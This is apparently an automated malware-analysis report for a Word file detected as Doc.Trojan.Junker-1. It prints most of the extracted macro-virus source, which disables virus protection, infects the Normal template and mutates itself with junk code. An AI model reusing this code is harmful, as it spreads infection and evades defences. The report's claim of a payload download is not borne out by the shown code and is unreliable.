MALICIOUS
140
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample is a Microsoft Word document containing a critical OLE_VBA_AUTOOPEN heuristic firing, indicating the presence of an AutoOpen macro. The extracted VBA script contains obfuscated code and attempts to disable virus protection and screen updating, consistent with malware behavior. The script's intent appears to be downloading and executing a second-stage payload, as suggested by the 'junk code' and manipulation of application settings.
Heuristics 4
-
ClamAV: Doc.Trojan.Junker-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Junker-1
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 6950 bytes |
SHA-256: b69670420aa48585088d7d5050cbe8fbc94b0ae148ac9c3e31ab3deb267d0aa6 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "ThisDocument1"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private Sub Autoopen()
'The junk code will be placed ere
Set nor = NormalTemplate.VBProject.VBComponents(1).CodeModule
'The junk code will be placed ere
Set doc = ActiveDocument.VBProject.VBComponents(1).CodeModule
'The junk code will be placed ere
Set ths = ThisDocument.VBProject.VBComponents(1).CodeModule
'The junk code will be placed ere
j = 0
'The junk code will be placed ere
Do
'The junk code will be placed ere
j = j + 2
'The junk code will be placed ere
ths.replaceline j, Junkstr
'The junk code will be placed ere
Loop Until j = 62
'The junk code will be placed ere
With Options
'The junk code will be placed ere
.VirusProtection = 0
'The junk code will be placed ere
.ConfirmConversions = 0
'The junk code will be placed ere
.SaveNormalPrompt = 0
'The junk code will be placed ere
.SendMailAttach = 1
'The junk code will be placed ere
.Application.EnableCancelKey = wdCancelDisabled
'The junk code will be placed ere
.Application.ScreenUpdating = 0
'The junk code will be placed ere
.Application.ShowVisualBasicEditor = 0
'The junk code will be placed ere
.Application.CommandBars("Tools").Controls("macro").Enabled = 0
'The junk code will be placed ere
End With
'The junk code will be placed ere
mycode = ths.lines(1, ths.countoflines)
'The junk code will be placed ere
With nor
'The junk code will be placed ere
.deletelines 1, .countoflines
'The junk code will be placed ere
.addfromstring mycode
'The junk code will be placed ere
End With
'The junk code will be placed ere
With doc
'The junk code will be placed ere
.deletelines 1, .countoflines
'The junk code will be placed ere
.addfromstring mycode
'The junk code will be placed ere
End With
'The junk code will be placed ere
If Day(Now()) = 31 Then
'The junk code will be placed ere
MsgBox "Hi, i am full of junk - so byte me!"
'The junk code will be placed ere
End If
'The junk code will be placed ere
'WM97.JUNK
End Sub
Private Function Junkstr()
'THE BIG JUNK GENERATOR
'BY VLAM
A = Int(Rnd * 5) + 1
ll = Int((Rnd * 50) + 10)
l = Int(Rnd * 2)
Select Case A
Case 1
Randomize Timer
s = Int(Rnd * 8) + 1
Select Case s
Case 1: k = " XOR "
Case 2: k = " AND "
Case 3: k = " EQV "
Case 4: k = " - "
Case 5: k = " + "
Case 6: k = " OR "
Case 7: k = " & "
Case 8: k = " IMP "
End Select
junk = k
kk = Int(Rnd * 3) + 1
Select Case kk
Case 1: Junkstr = GETRNDWORD(ll, l) & " = " & GETRNDWORD(ll, l) & junk & GETRNDWORD(ll, l)
Case 2: Junkstr = GETRNDWORD(ll, l) & " = " & GETRNDWORD(ll, l) & junk & GETRNDWORD(ll, l) & junk & GETRNDWORD(ll, l)
Case 3: Junkstr = GETRNDWORD(ll, l) & " = " & GETRNDWORD(ll, l) & junk & GETRNDWORD(ll, l) & junk & GETRNDWORD(ll, l) & junk & GETRNDWORD(ll, l)
End Select
Case 2:
Randomize Timer
s = Int(Rnd * 20) + 1
Select Case s
Case 1: k = "OPTIONS"
Case 2: k = "TASKS"
Case 3: k = "APPLICATION"
Case 4: k = "ACTIVEDOCUMENT"
Case 5: k = "NORMALTEMPLATE"
Case 6: k = "THISDOCUMENT"
Case 7: k = "ACTIVEWINDOW"
Case 8: k = "SYSTEM"
Case 9: k = "WINDOWS"
Case 10: k = "ASSISTANT"
Case 11: k = "COMMANDBARS"
Case 12: k = "COMMENTS"
Case 13: k = "FRAMES"
Case 14: k = "INDEXES"
Case 15: k = "KEYBINDINGS"
Case 16: k = "OPTIONS.APPLICATION"
Case 17: k = "LANGUAGES"
Case 18: k = "SYSTEM"
Case 19: k = "LISTS"
Case 20: k = "LISTTEMP
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.